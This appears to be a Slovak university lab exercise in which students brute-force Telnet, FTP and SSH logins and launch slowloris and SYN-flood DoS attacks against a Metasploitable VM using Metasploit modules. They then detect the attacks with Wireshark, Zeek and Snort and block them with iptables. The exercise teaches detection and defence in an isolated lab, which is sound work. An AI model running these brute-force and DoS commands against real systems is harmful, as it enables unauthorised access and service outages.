← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie
Rozpoznať pokusy o prelomenie hesiel a narušenie dostupnosti a vyhodnotiť obranné opatrenia.
Alternatívna topológia pre Cisco
V tomto cvičení si ukážeme ako fungujú **bruteforce **útoky na služby Telnet, FTP a SSH, a DoS útok, ktoré zameriame na cieľový server Metasploitable, a ukážeme si možnosti monitorovania a detekcie takýchto typov útokov.
Pri bruteforce útoku si nasimulujeme situáciu, kedy na koncovom servery nebude použité dostatočne silné heslo, ktoré sa následne budeme snažiť uhádnuť, pomocou slovníkového útoku. Aby sme boli úspešní, dané heslo sa v danm slovníku bude nechádzať na takom mieste, aby daný typ útoku skončil vo virtuálnej topológii v reálnom čase. Po ukončení bruteforce útokov budeme analyzovať rámce nesúce služby Telnet, SSH a FTP. Ukážeme si aj ako je možné monitorovať a zistiť bruteforce útok na zariadení, ktoré je monitorované. Následne sa pokúsime nakonfigurovať detekčný nástroj pre podobný typ útokov a pokúsime sa do budúcna zabrániť týmto útokom.
V druhej časti budeme pomocou Kali-Linux zariadenia generovať DoS útok na Metasploitable. Taktiež využijeme poznatky z predošlého cvičenia a využijeme nástroj Snort na detekovanie DoS útoku. Následne budeme podľa návodu prezerať logy na Metasploitable zariadení.
Názov |
Meno |
Heslo |
Kali Linux * |
<kali user> |
<kali password> |
Metasploitable |
msfadmin |
msfadmin |
SecurityOnion-Realtime * |
<securityonion user> |
<securityonion password> |
SecurityOnion-Cyberops |
analyst |
cyberops |
OpenWRT |
root |
|
OpenvSwitch |
root |
|
GVM |
admin |
admin |
Cisco 2691 |
(bez mena) |
(bez hesla) |
* - zariadenie má používateľa a heslo ktorého vytvoril študent počas cvičenia 1 v časti Zmena username
V tejto časti zrealizujete bruteforce útok na koncový server Metasploitable na služby Telnet, FTP a SSH, a budete analyzovať útočnú sieťovú prevádzku, ako aj logy na cieľovom zariadení.
Zistite otvorené porty na Metasploitable zariadení pomocou Nmap nástroja, ktorý ste používali aj na predošlom cvičení 4.
Spustite odchytávanie sieťovej prevádzky pomocou Wireshark na Security Onion
Otvoríme si Wireshark cez terminál
sudo wireshark
**Spustite Kali Linux **
Otvoríme terminál
Vytvorte si súbor mojwordlist.txt
nano mojwordlist.txt
Napíšte tam 5 hesiel tak, že vyberiete 4 heslá zo zoznamu z obrázku nižšie (zoznam najpoužívanejších slabých hesiel, z prednášky 4) a 5. heslo bude to, ktoré je aktuálne heslo nastavené na serveri Metasploitable: msfadmin
Len ukážka obsahu súboru, vy si vytvoríte vlastný:
**Bruteforce útok na Telnet **
Na útok použite nástroj metasploit framework:
Otvorte terminál a zadajte príkaz
msfconsole
Použite modul pre telnet Bruteforce:
use auxiliary/scanner/telnet/telnet_login
Použite príkaz
show options
následne sa vám zobrazia hodnoty, ktoré môžete nastavovať
Nastavte tieto hodnoty pričom miesto <IP adresa Metasploitable> vložíte vašu adresu Metasploitable.
set RHOSTS <IP adresa Metasploitable>
Upozornenie: Ak robíte vo VirtualBox-e, zadávate vašu IP adresu pre Metasploitable
set USERNAME msfadmin
set PASS_FILE /home/<pouzivatel>/mojwordlist.txt
set STOP_ON_SUCCESS true
Zadajte príkaz exploit a stlačte Enter
exploit
Aký je výsledok tohto útoku?
Dal by sa útok použiť aj na iné zariadenia v topológii?
Vyhľadajte na internete slovník hesiel a pridajte ho do Vášho súboru
**Bruteforce útok na FTP **
Použite nástroj metasploit framework a modul auxiliary/scanner/ftp/ftp_login
Nastavte tie isté hodnoty ako pri bruteforce útoku na telnet
Aký je výsledok útoku?
**Bruteforce útok na SSH **
Použite nástroj metasploit framework a modul auxiliary/scanner/ssh/ssh_login
Nastavte tie isté hodnoty ako pri bruteforce útoku na telnet
Aký je výsledok útoku?
Analyzujte rámce obsahujúce ftp, ssh a telnet služby v nástroji Wireshark,sguil
Wireshark
Prejdite do spusteného nástroja Wireshark na SecurityOnione
Zastavte sledovanie prevádzky
Použite postupne filtre pre vyhľadanie ftp (ftp, ftp-data), ssh a telnet paketov
Analyzujte prevádzku a sformulujte odpoveď, ako analytik zistí, že sa v sieti vyskytol BruteForce útok
Sguil
Analyzovanie súborov logov
Otvore súbory logov na Metasploitable
V ktorých súboroch by ste hľadali prístupové logy?
Ak nájdete logy, tak vysvetlite, ako zistíte, že sa do systému dostal neoprávnený používateľ?
V nasledujúcej časti sa naučíte ako je možné detekovať bruteforce útok, ktorý sa udial na monitorovanom zariadení. Pre nás je monitorované zariadenie Metasploitable a detekovať útok budeme na zariadení Security Onion. Využijete nástroj zeek, ktorý dokáže detekovať bruteforce útoky a zaznamenávať dôležité informácie pre ich analýzu.
Info o nástroji Zeek z oficálnej stránky: Zeek is not an active security device, like a firewall or intrusion prevention system. Rather, Zeek sits on a “sensor,” a hardware, software, virtual, or cloud platform that quietly and unobtrusively observes network traffic. Zeek interprets what it sees and creates compact, high-fidelity transaction logs, file content, and fully customized output, suitable for manual review on disk or in a more analyst-friendly tool like a security and information event management (SIEM) system.
Troubleshooting problémov s eth0:
Ak narazíte na problémy s port mirroringom medzi SecurityOnion-Realtime a Metasploitable, alebo vám nefunguje port eth0 prejdite si znova tieto kroky z prvého cvičenia:
Spustite zariadenie Security Onion
Otvorte terminál a v adresári /home/<securityonion user>spustite zeek na monitorovacom rozhraní príkazom:
zeek -i eth0
Zopakujte ssh útok z Kali-Linux na Metasploitable
Vypnite zeek, ktorý vám beží v termináli na Security Onion-e (klávesová skratka ctrl+c v termináli)
Zobrazte si obsah aktuálneho adresára ls). Zeek vám jeho výstupy z monitorovania zaznamenal do niekoľkých súborov, ktoré vám pribudli v adresári. Vypíšte si obsah súboru ssh.log** **cez príkaz:
cat ssh.log
Ako môžete z daného súboru zistiť, že bol zaznamenaný bruteforce útok na ssh?
Preskúmajte obsah ostatných súborov, ktoré vygeneroval zeek a zistite čo obsahujú
Budete pracovať na serveri Metasploitable a vytvárať pravidlá cez príkaz iptables. Pre vytváranie jednotlivých pravidiel cez iptables, musíte byť root.
Zablokujte prihlásenie sa na root cez SSH
Zmeňte konfiguračný súbor /etc/ssh/sshd_config
Nastavte PermitRootLogin no
reštartujte ssh
sudo /etc/init.d/ssh restart
Zablokovanie neznámych IP adries na SSH
Ak sa budeme stále pripájať len z jednej IP adresy (napríklad zo SecurityOnion-Realtime), môžeme ostatné zablokovať
iptables -A INPUT -p tcp -d 0/0 -s <ip adresa> --dport <ssh port> -j ACCEPT
iptables -A INPUT -p tcp -d 0/0 --dport <ssh port> -j DROP
Spustenie SSH na neštandardnom porte
Zmeňte SSH port na 1022
/etc/ssh/sshd_configPoužite hashlimit v iptables
Limitujte jednu IP adresu na pripojenie sa na jeden port za minútu
iptables -I INPUT -m hashlimit -m tcp -p tcp --dport <ssh port> --hashlimit 1/min --hashlimit-mode srcip --hashlimit-name ssh -m state --state NEW -j ACCEPT
Realizácia aplikovaných pravidiel a následné vymazanie
Overte funkčnosť vytvorených pravidiel v predošlých bodoch
Na záver pre prácu v ďalších častiach si jednotlivé pravidlá vymažte
Vymazanie iptables pravidiel robíte pomocou prepínača „D“, kde za ním uvediete celé pravidlo.
„iptables -A INPUT -p tcp -d 0/0 --dport <ssh port> -j DROP"Jeho vymazanie bude vyzerať takto:
iptables -D INPUT -p tcp -d 0/0 --dport <ssh port> -j DROP
V tejto časti budete pomocou Kali-Linux zariadenia generovať DoS útok na Metasploitable. V nasledujúcich častiach potom využijete aj poznatky z predošlého cvičenia a využijete nástroj Snort na detekovanie DoS útoku. Následne budete skúmať logy na Metasploitable zariadení.
Použite Metasploitable framework na vytvorenie DoS útoku
Otvorte si terminál na Kali-Linux a spustite metasploit framework pomocou príkazu
msfconsole
Použite modul auxiliary/dos/http/slowloris
use auxiliary/dos/http/slowloris
Použite príkaz show options aby ste videli, ktoré hodnoty sa dajú nastaviť
Nastavte tieto hodnoty:
set rhost <IP adresa metasploitable>
set rport 80
Spustite útok pomocou príkazu exploit alebo run
Otvorte prehliadač a vyskúšajte sa prihlásiť na URL: <ip adresa zariadenia metasploitable>/dvwa/
Napr.: 10.#$$.1.2/dvwa/
Stránka by sa vám nemala načítať
Vypnite útok ( ctrl + C ) a pozrite sa, či sa vám stránka načítala
Následne spustíte znova útok
Prejdite na zariadenie Metasploitable
V tejto úlohe si vytvoríte dva súbory, jeden bude počas útoku a druhý, keď útok skončí.
Najskôr sa musíme prepnúť na roota:
sudo su -
V termináli použite príkaz:
netstat -an | grep <IP adresa Kali> > /var/log/apache2/slowloris.txt
Pozn.: Miesto <IP adresa Kali> vložte adresu zariadenia Kali
V termináli použite príkaz:
netstat -an | grep <IP adresa Kali> > /var/log/apache2/slowloris_koniec_utoku.txt
Pozn.: Miesto <IP adresa Kali> vložte adresu zariadenia Kali
Porovnajte súbory slowloris.txt a slowloris_koniec_utoku.txt
Prejdite na zariadenie Metasploitable a pozrite logy
Zadajte príkaz:
nano /var/log/apache2/error.log
Použite pre vyhľadávanie ctrl + W a zadajte dnešný dátum (ak by dnes bolo 24.10 tak by ste vyhľadali Oct 24) a potvrďte **Enter. **Chvíľu to potrvá dokým je daný log nájdený.
Čo je možné si všimnúť v súbore z pohľadu SOC analytika?
Zadajte príkaz:
nano /var/log/apache2/access.log
Použite pre vyhľadávanie ctrl + W a zadajte dnešný dátum (ako vyššie) a potvrďte **Enter, **a počkajte na výsledok vyhľadania.
Čo je možné si všimnúť v súbore z pohľadu SOC analytika?
Spustite aplikáciu **metasploit framework **ako root na Kali-Linux
Spustite Wireshark na Kali-Linux
Použite modul: auxiliary/dos/tcp/synflood
Nastavte hodnoty:
rhosts <IP adresa Metasploitable>
Pozn.: Miesto <IP adresa Metasploitable> vložte adresu zariadenia Metasploitable
rport 80
Spustite útok
Sledujte pakety na nástroji Wireshark
Predchádzajúce DoS útoky, ktoré ste si mali možnosť vyskúšať, SYN flood a slowloris, je možné detekovať. Na túto detekciu je v našej topológií určené zariadenie Security Onion, vďaka tomu, že monitoruje zariadenie Metasploitable. Nástroj, ktorý využijeme zo Security Onion-u na zobrazovanie informačných správ, ktoré sa budú vypisovať počas DoS útoku, je Snort. V predchádzajúcom cvičení ste mali možnosť pracovať s daným nástroj a oboznámiť sa s ním. Teraz ho použijete opäť v ďalšom reálnom scenári, pri realizácii DoS útoku.
Zapnite si SecurityOnion-Realtime
Tak ako ste sa naučili vytvárať pravidlá pre Snort na minulom cvičení, teraz si vytvorte jedno, na detekciu DoS útoku. Je teda nutné, aby ste zaviedli dané pravidlo v súbore /etc/nsm/rules/local.rules a taktiež v tomto pravidle si nastavte vhodnú správu, ktorá sa vám vypíše do /terminálu, keď sa zistí DoS útok. Postupujte rovnako ako na minulom cvičení.
V snort pravidle pouzit filter Track by dest/by source
Zastavte sensory inštalované počas sosetup
sudo so-sensor-stop
Odkomentujte riadok pre zahrnutie súboru local.rules, v ktorom sme vytvorili pravidlo. Otvorte konfiguračný súbor pre snort:
sudo nano /etc/nsm/seconion-eth0/snort.conf
Spustite Snort pre rozhranie eth0 (ktoré je monitorovacie)
Zopakujte si po jednom DoS útoky zo zariadenia Kali-Linux na Metasploitable. V terminály v ktorom vám beží Snort (na zariadení Security Onion), by ste mali vidieť správy, ktoré ste si nastavili, že sa vám budú vypisovať pre pravidlo detekcie DoS útoku
počas útokov zistite IP adresu útočníka pomocou netstat
netstat -n|grep :80|awk {'print $5'}| cut -f1 -d: | sort | uniq –
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail
V tejto časti si ukážeme spôsob, ako chrániť náš linuxový server pred útokom DoS. Táto metóda je reakčná, nie prevenčná, čiže proaktívne nezabraňuje DoS útokom, slúži len na prerušenie aktuálne prebiehajúceho útoku.
Zablokujte IP adresu útočníka na Metasploitable pomocou iptables
Premyslite ktorý z nasledujúcoch príkazov je vhodnejší pre zablokovanie útočníka
iptables -A INPUT -s <Attacker IP> -j DROP
alebo
iptables -I INPUT 1 -p tcp -s <Attacker IP> --dport 80 -j DROP
použite príkaz ktorý ste vybrali
Môže stále útočník útočiť na Metasploitable?
Na konci nezabudnite IP adresu odblokovať
Počas cvičenia sme vyskúšali bruteforce a DoS útok a tiež sme si prakticky ukázali ako takéto útoky analyzovať a následne aj zastaviť.
Zistenia:
BruteForce je forma útoku ktorá najčastejšie využíva takzvaný slovník - súbor kde sú zapísané heslá ktoré vyskúša útočník.
DoS je forma útoku, ktorá zaplaví zariadenie správami pričom server odpovedá na každú a kvôli tomu sa vytvárajú vysoké časové odozvy alebo celkové zahltenie systému.
Je veľa možností ako vykonať DoS, ale dá sa relatívne ľahko detekovať a aj odstrániť.
Akým spôsobom sa dá predísť/zabrániť bruteforce-u?
Aké sú druhy DoS útokov? Využite internet a urobte menší výzkum na tému druhy DoS útokov.
Aký je rozdiel DoS a DDoS? Akým spôsobom sa dá zabrániť DDoS-u?
Urobte menší výzkum a nájdite aspoň 3 články o útokoch na kritickú infraštruktúru vo svete kde bol použitý DoS/DDoS útok a zhrňte aký dopad môže mať takýto útok.
← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie